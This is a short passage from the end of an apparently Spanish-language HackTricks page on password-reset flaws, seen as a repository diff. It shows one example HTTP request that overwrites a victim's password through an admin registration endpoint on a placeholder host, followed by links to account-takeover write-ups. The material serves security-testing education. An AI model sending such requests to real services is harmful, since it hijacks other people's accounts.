POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||
Host: www.target.tld
|
||||
Content-Type: application/json
|
||||
|
||||
{"email":"victim@example.com","password":"New@12345"}
|
||||
```
|
||||
## Referencias
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
- [Cómo encontré un fallo crítico de restablecimiento de contraseña (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user